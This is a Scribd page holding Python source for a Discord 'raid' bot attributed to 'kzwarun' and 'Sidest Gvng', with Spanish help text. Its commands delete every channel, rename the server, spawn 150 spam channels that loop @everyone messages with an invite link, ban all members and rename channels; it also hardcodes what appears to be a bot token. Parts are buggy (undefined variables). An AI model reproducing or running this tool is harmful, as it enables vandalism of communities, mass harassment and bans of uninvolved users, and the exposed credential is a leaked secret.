0% found this document useful (0 votes)
4 views4 pages

bot

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views4 pages

bot

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

import discord

from discord.ext import commands

from dotenv import load_dotenv

from discord.ext.commands import cooldown, BucketType

from concurrent.futures import ThreadPoolExecutor

import os, threading, asyncio

bot = commands.AutoShardedBot(command_prefix="$", intents=discord.Intents.all(),


description=None, help_command=None)

@bot.event

async def on_guild_join(guild):


porno = discord.Embed(description=f"El bot abandonara el servidor en 10
minutos. $help para ver la lista de comandos.", color=0x000001)
await author.send(embed=porno)
await asyncio.sleep(600)
await guild.leave()

@bot.event

async def on_ready():

print("Ando On Fire {}".format(bot.user))

@bot.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandOnCooldown):
msg = '**Aguanta emoción! Este comando tiene un cooldown de
{:.2f} segundos. **'.format(error.retry_after)
await ctx.send(msg)
@bot.command()
async def on(ctx):

await ctx.message.delete()

await ctx.guild.edit(name="Fucked by {}".format(ctx.author))

try:

for channels in ctx.guild.channels:

await channels.delete()

print("deleted {}".format(channels))

except:

print("Cant delete {}".format(channels))

if ctx.guild:

with ThreadPoolExecutor(max_workers=20) as executor:


results = list(executor.map(create_channel, [ctx.guild] * 50, ['Fvcked
by sidest'] * 50))

results += list(executor.map(create_channel, [ctx.guild] * 50, ['Pwned


by sidest'] * 50))

results += list(executor.map(create_channel, [ctx.guild] * 50, ['sidest


is here'] * 50))
@bot.event

async def on_guild_channel_create(channel):

while True:

await channel.send("**raided by Sidest. /sidest on top**


https://discord.gg/9Ud2zhb5uv || @here - @everyone ||")

@bot.command()
@commands.cooldown(1, 380, commands.BucketType.user)

async def channels(ctx):

if ctx.guild:

with ThreadPoolExecutor(max_workers=20) as executor:

results = list(executor.map(create_channel, [ctx.guild] * 50, ['Fvcked


by sidest'] * 50))

results += list(executor.map(create_channel, [ctx.guild] * 50, ['Pwned


by sidest'] * 50))

results += list(executor.map(create_channel, [ctx.guild] * 50, ['sidest


is here'] * 50))

def create_channel(guild, channel_name):

try:

asyncio.run_coroutine_threadsafe(guild.create_text_channel(name=channel_name),
bot.loop)

return 1

except Exception as e:

print(f'Error: {e}')

return 0

@bot.command()

async def leave(ctx):


await guild.leave()

@bot.command()

async def nuke(ctx):


async def make_nuke(channel):

if isinstance(channel, discord.CategoryChannel):

await channel.delete()

elif isinstance(channel, discord.TextChannel):

await channel.delete()

elif isinstance(channel, discord.VoiceChannel):

await channel.delete()

tasks = []

for channel in ctx.guild.channels:

task = asyncio.create_task(make_nuke(channel))

tasks.append(task)

await asyncio.gather(*tasks)

await ctx.guild.create_text_channel(name='nuked by {}'.format(ctx.author))

@bot.command()
@commands.cooldown(1, 380, commands.BucketType.guild)
async def help(ctx):
await ctx.message.delete()
Embed = discord.Embed(title="亗 Sidest Gvng 亗",
description="None",color=0x7289da)
Embed.add_field(name="• $banall:", value="Banea a todos", inline=False)
Embed.add_field(name="• $channels:", value="Crea canales en el servidor.",
inline=False)
Embed.add_field(name="• $on", value="Destruye el servidor.", inline=False)
Embed.add_field(name="• $bypass:", value="Realiza un bypass en todos los
canales del servidor.", inline=False)
Embed.add_field(name="• $nuke:", value="Elimina todos los canales en el
servidor", inline=False)
Embed.set_author(name="Creado por kzwarun")
Embed.set_footer(text="Prefix: $")

await ctx.send(embed = Embed)

@bot.command()
@commands.cooldown(1, 380, commands.BucketType.guild)

async def banall(ctx):

async def make_banall(member):

await member.ban()

tasks = []
for member in ctx.guild.members:

task = asyncio.create_task(make_banall(member))

tasks.append(task)

await asyncio.gather(*tasks)

@bot.command()
@commands.cooldown(1, 380, commands.BucketType.guild)

async def bypass(ctx):

async def make_bypass(channel):

if isinstance(channel, discord.CategoryChannel):

await ctx.message.delete()

await channel.edit(name='/sidest - /sidest - /sidest')

isinstance(channel, discord.TextChannel)

await channel.edit(name='bypassed by sidest')

await channel.send(content='**bypassed by Sidest. /sidest on top** ||


https://discord.gg/9Ud2zhb5uv @everyone||')

isinstance(channel, discord.VoiceChannel)

await channel.edit(name='bypassed by sidest')

tasks = []

for channel in ctx.guild.channels:

task = asyncio.create_task(make_bypass(channel))

tasks.append(task)

await asyncio.gather(*tasks)

bot.run("MTI1Nzc1NTAzNzY5MDc1NzE0MQ.GnuC_0.8tHRvqpJhQ4LRYARhBu18enLfjgtnLaJ1yz5IM",
reconnect=True)

# By ,Kzwarun

You might also like